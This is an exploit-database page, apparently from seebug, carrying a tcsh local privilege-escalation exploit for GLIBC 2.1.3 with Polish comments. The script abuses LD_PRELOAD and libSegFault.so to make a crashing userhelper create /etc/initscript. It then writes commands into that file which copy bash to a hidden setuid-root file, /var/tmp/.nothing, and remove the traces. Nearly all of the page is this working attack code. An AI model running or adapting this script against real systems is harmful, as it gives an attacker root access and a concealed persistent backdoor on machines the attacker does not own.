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GLIBC 2.1.3 ld_preload Local Exploit

🗓️ 28 Oct 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 21 Views

GLIBC 2.1.3 ld_preload Local Exploi

Code

                                                #!/bin/tcsh
# przyklad wykorzystania dziury w LD_PRELOAD
# shadow (tested on redhat 6.0, should work on others)

if ( -e /etc/initscript ) echo uwaga: /etc/initscript istnieje
cd /lib
umask 0
setenv LD_PRELOAD libSegFault.so
setenv SEGFAULT_OUTPUT_NAME /etc/initscript
echo czekaj... to moze chwile potrwac...
while (! -e /etc/initscript )
  ( userhelper >& /dev/null & ; killall -11 userhelper >& /dev/null ) > /dev/null
end

echo utworzylem plik initscript

cat > /etc/initscript << _init_
cp /bin/bash /var/tmp/.nothing
chmod 6755 /var/tmp/.nothing
rm /etc/initscript
_init_

echo i nawet go podmienilem




                              

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28 Oct 2006 00:00Current
7.1High risk
Vulners AI Score7.1
21